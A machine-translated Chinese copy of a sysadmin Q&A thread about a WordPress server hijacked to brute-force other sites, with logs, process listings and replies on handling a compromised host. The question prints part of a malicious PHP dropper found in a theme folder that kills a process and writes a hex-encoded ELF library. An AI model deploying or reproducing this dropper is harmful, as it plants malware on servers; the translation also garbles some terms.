有人滥用我的服务器,但我该如何阻止滥用?

我是一群虚拟Web服务器的初学者系统pipe理员。 最近我们收到一封电子邮件,说我们的一台服务器正在用于“暴力”攻击。 电子邮件的内容类似于以下内容。

问候,

/ somehost / abuse团队喜欢通知您,我们已经从我们的共享托pipe服务器/somehost/.ru/ip-number /从您的networking上的Joomla / WordPress控制面板大量bruteforce尝试,从IP地址/我的-IP地址/

在过去的30分钟里,我们logging了1500次这样的尝试:

/ my-ip-address / / their-domain / – [12 / Jan / 2014:13:29:05 +0400]“POST /wp-login.php HTTP / 1.0”200 3170“ – ”“ –

/ my-ip-address / / their-domain / – [12 / Jan / 2014:13:29:05 +0400]“POST /wp-login.php HTTP / 1.0”200 3170“ – ”“ –

/ my-ip-address / / their-domain / – [12 / Jan / 2014:13:29:05 +0400]“POST /wp-login.php HTTP / 1.0”200 3170“ – ”“ –

/ my-ip-address / / their-domain / – [12 / Jan / 2014:13:29:06 +0400]“POST /wp-login.php HTTP / 1.0”200 3170“ – ”“ –

/ my-ip-address / / their-domain / – [12 / Jan / 2014:13:29:06 +0400]“POST /wp-login.php HTTP / 1.0”200 3170“ – ”“ –

先前在此服务器上logging的尝试总数(/some-host/.ru)[/their-ip/]:

====

该消息由/ some-company-name / security system自动发送。 您的电子邮件地址是从公众WhoIs服务获得的。 如果您错误地收到了此消息,我们很抱歉打扰您。 如果您的电子邮件与此IP地址或networking无关,请与我们联系。

====

谢谢/ somehost / abuse团队

http:// / somehost / dot ru

/某些电话号码在俄罗斯/,

/更多的联系数据在俄罗斯/

  • 我应该如何看待这封电子邮件? 这是一个不应忽视的骗局或重要信息吗?

我发现当他们的日志中显示“wp-login.php”是一个来自WordPress的PHP脚本时,他们写的是“Joomla / WordPress”。

在我们的服务器上,我们通过Webmin / Virtualmin和一个不能从外部访问的Squid服务器来托pipe几个WordPress博客。

我用iftopnethogs观察了一段时间的交通情况,看不到任何可疑的东西。 鱿鱼访问日志似乎正常。

我们可以看到很多尝试在“安全”日志中login到我们的服务器,但没有人pipe理它来获得访问权限。

请参阅以下从安全转储。

 an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost= Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas 

还有一个

 Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130 Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2 Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye 

与“谁”我可以清楚地看到,只有我通过SSHlogin。

今天我更新了所有的Webmin和Virtualmin模块和Squid到最新版本。

  • 我们现在应该做什么? 我们接下来应该采取哪些措施来确保服务器不被用于攻击?
  • 这是否有必要?
  • 我们应该更改/查看哪些日志文件或configuration?

编辑:

到目前为止我所做的是:

  • 我查了一下在攻击date发生变化的文件(根据我们的提供商,我们的IP有近50GB的stream量),用find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log 。 没有改变。
  • 我检查了AWStats所有我们的域名。 根据AWStats,甚至没有一个域名转移超过40MB。
  • WordPress在攻击当天是最新的。
  • 我更新了所有Webmin和Virtualmin模块。
  • 我更新了鱿鱼,并将其端口改为3128以外的东西。我只剩下80,443和21个端口作为“安全”端口。
  • 我更新了fail2ban。

我不想按照如何处理受损服务器中的build议从服务器断开连接。 。 我们的数据已经备份,所以我们目前是安全的。 不过,我想知道是什么原因引发了这次袭击,但我仍然无法做到这一点。

编辑15.01.2014:

使用nethogs我能够发现/usr/bin/host正在接收和发送比预期更多的数据。

 NetHogs version 0.8.0 PID USER PROGRAM DEV SENT RECEIVED 10267 /domain//usr/bin/host eth0 120.571 791.124 KB/sec 30517 /domain/sshd: /domain/@pts/0 eth0 2.177 0.111 KB/sec ? root /ip-address/:39586-119.247.224.98:80 0.000 0.000 KB/sec ? root /ip-address/:55718-69.163.148.232:80 0.000 0.000 KB/sec ? root /ip-address/:38474-184.154.230.15:80 0.000 0.000 KB/sec ? root /ip-address/:46593-66.7.212.199:80 0.000 0.000 KB/sec ? root /ip-address/:58733-202.232.144.194:80 0.000 0.000 KB/sec ? root /ip-address/:41154-83.170.122.1:80 0.000 0.000 KB/sec ? root /ip-address/:39996-98.129.229.146:80 0.000 0.000 KB/sec ? root /ip-address/:39872-98.129.229.146:80 0.000 0.000 KB/sec ? root /ip-address/:37429-144.76.15.247:80 0.000 0.000 KB/sec ? root /ip-address/:35063-216.12.197.226:80 0.000 0.000 KB/sec ? root /ip-address/:51335-153.120.33.64:80 0.000 0.000 KB/sec ? root /ip-address/:58344-64.207.178.120:80 0.000 0.000 KB/sec ? root /ip-address/:55848-69.163.148.232:80 0.000 0.000 KB/sec ? root /ip-address/:46799-66.7.212.199:80 0.000 0.000 KB/sec ? root /ip-address/:38110-66.155.9.238:80 0.000 0.000 KB/sec ? root /ip-address/:39713-76.74.254.120:80 0.000 0.000 KB/sec ? root /ip-address/:33814-209.217.227.30:80 0.000 0.000 KB/sec ? root /ip-address/:41009-212.113.141.212:80 0.000 0.000 KB/sec ? root /ip-address/:57027-173.11.110.117:80 0.000 0.000 KB/sec ? root /ip-address/:45436-83.222.250.186:80 0.000 0.000 KB/sec ? root /ip-address/:59143-202.232.144.194:80 0.000 0.000 KB/sec ? root /ip-address/:43357-217.9.42.182:80 0.000 0.000 KB/sec ? root /ip-address/:32981-82.113.145.170:80 0.000 0.000 KB/sec ? root unknown TCP 0.000 0.000 KB/sec TOTAL 122.749 791.235 KB/sec 

在PID上运行lsof时,您可以清楚地看到,WordPress安装出现问题。

 [root@/domain/ logs]# lsof | grep 1706 host 1706 /domain/ cwd DIR 253,0 4096 10178 /home//domain//public_html/wp-content/themes/twentyeleven host 1706 /domain/ rtd DIR 253,0 4096 2 / host 1706 /domain/ txt REG 253,0 137592 1054438 /usr/bin/host host 1706 /domain/ mem REG 253,0 156928 1178048 /lib64/ld-2.12.so host 1706 /domain/ mem REG 253,0 22536 1178065 /lib64/libdl-2.12.so host 1706 /domain/ mem REG 253,0 1926800 1178057 /lib64/libc-2.12.so host 1706 /domain/ mem REG 253,0 145896 1178061 /lib64/libpthread-2.12.so host 1706 /domain/ mem REG 253,0 91096 1178098 /lib64/libz.so.1.2.3 host 1706 /domain/ mem REG 253,0 358560 1051774 /usr/lib64/libisc.so.83.0.3 host 1706 /domain/ mem REG 253,0 599384 1178963 /lib64/libm-2.12.so host 1706 /domain/ mem REG 253,0 124624 1178074 /lib64/libselinux.so.1 host 1706 /domain/ mem REG 253,0 113952 1178072 /lib64/libresolv-2.12.so host 1706 /domain/ mem REG 253,0 1674840 1050692 /usr/lib64/libdns.so.81.4.1 host 1706 /domain/ mem REG 253,0 140568 1051828 /usr/lib64/libisccfg.so.82.0.1 host 1706 /domain/ mem REG 253,0 34696 1051827 /usr/lib64/libisccc.so.80.0.0 host 1706 /domain/ mem REG 253,0 17256 1178085 /lib64/libcom_err.so.2.1 host 1706 /domain/ mem REG 253,0 1953536 1050724 /usr/lib64/libcrypto.so.1.0.1e host 1706 /domain/ mem REG 253,0 12592 1178067 /lib64/libkeyutils.so.1.3 host 1706 /domain/ mem REG 253,0 46368 1178081 /lib64/libkrb5support.so.0.1 host 1706 /domain/ mem REG 253,0 19016 1178989 /lib64/libcap.so.2.16 host 1706 /domain/ mem REG 253,0 944712 1178089 /lib64/libkrb5.so.3.3 host 1706 /domain/ mem REG 253,0 177520 1178083 /lib64/libk5crypto.so.3.1 host 1706 /domain/ mem REG 253,0 209120 1180550 /lib64/libidn.so.11.6.1 host 1706 /domain/ mem REG 253,0 280520 1178096 /lib64/libgssapi_krb5.so.2.2 host 1706 /domain/ mem REG 253,0 52944 1051829 /usr/lib64/libbind9.so.80.0.4 host 1706 /domain/ mem REG 253,0 75936 1052874 /usr/lib64/liblwres.so.80.0.2 host 1706 /domain/ mem REG 253,0 21152 1178987 /lib64/libattr.so.1.1.0 host 1706 /domain/ mem REG 253,0 1383368 1051772 /usr/lib64/libxml2.so.2.7.6 host 1706 /domain/ DEL REG 253,0 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so host 1706 /domain/ mem REG 253,0 27424 1178071 /lib64/libnss_dns-2.12.so host 1706 /domain/ mem REG 253,0 65928 1178073 /lib64/libnss_files-2.12.so host 1706 /domain/ mem REG 253,0 12582912 11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0 host 1706 /domain/ DEL REG 253,0 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so host 1706 /domain/ 0r CHR 1,3 0t0 3782 /dev/null host 1706 /domain/ 1r CHR 1,3 0t0 3782 /dev/null host 1706 /domain/ 2r CHR 1,3 0t0 3782 /dev/null host 1706 /domain/ 3r CHR 1,3 0t0 3782 /dev/null spamd 18546 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so spamd 18548 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so spamd 18549 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so 

我将不得不看一看home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so

只是所有2014年1月发生变化的文件都不在标准的WordPress主题Twenty Eleven主题安装中。 例如,有一个名为initvsafe.php的脚本,可用于在文件系统中存储文件。

 <?php header("Content-type: text/plain"); if (! function_exists('file_put_contents')) { function file_put_contents($filename, $data) { $f = @fopen($filename, 'w'); if (! $f) return false; $bytes = fwrite($f, $data); fclose($f); return $bytes; } } @system("killall -9 ".basename("/usr/bin/host")); $so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ... 

这可能是合法的。 它没有明确地说wordpress的原因是因为它是一个自动化的消息 – 由一些脚本自动发送,检测这样的攻击,并报告给源所有者。

如果你的服务器被黑客入侵,攻击者会做的第一件事情就是安装修改后的二进制文件来处理who,ls和类似的命令来隐藏自己的活动。 并从日志中删除他们的loginlogging。 所以这可能是你的妥协。 我如何处理受损的服务器? 涵盖了要做什么。

最有可能的是,他们没有通过SSH获得访问权限,而是通过像充当代理服务器的PHP脚本那样获得访问权限。 检查所有您的网站不属于的文件。 检查访问日志以及exception活动。 检查过期的(甚至是最新的,但有报告的漏洞)wordpress,phpmyadmin等版本

你可能也想检查一下是否有任何可疑的东西。 真正的问题在于,一旦服务器遭到破坏,特别是如果你修复了fail2ban和其他软件包,即使只是将一些证据(日志)移动到另一台机器上,也可能会更安全。 正如格兰特提到的,你不能确定日志没有被篡改/删除以覆盖任何轨道,所以假设最差。

您可能需要查看fail2ban日志以查看是否有任何exception。

您可能还想快速浏览处理受损系统的debian手册第14.6部分。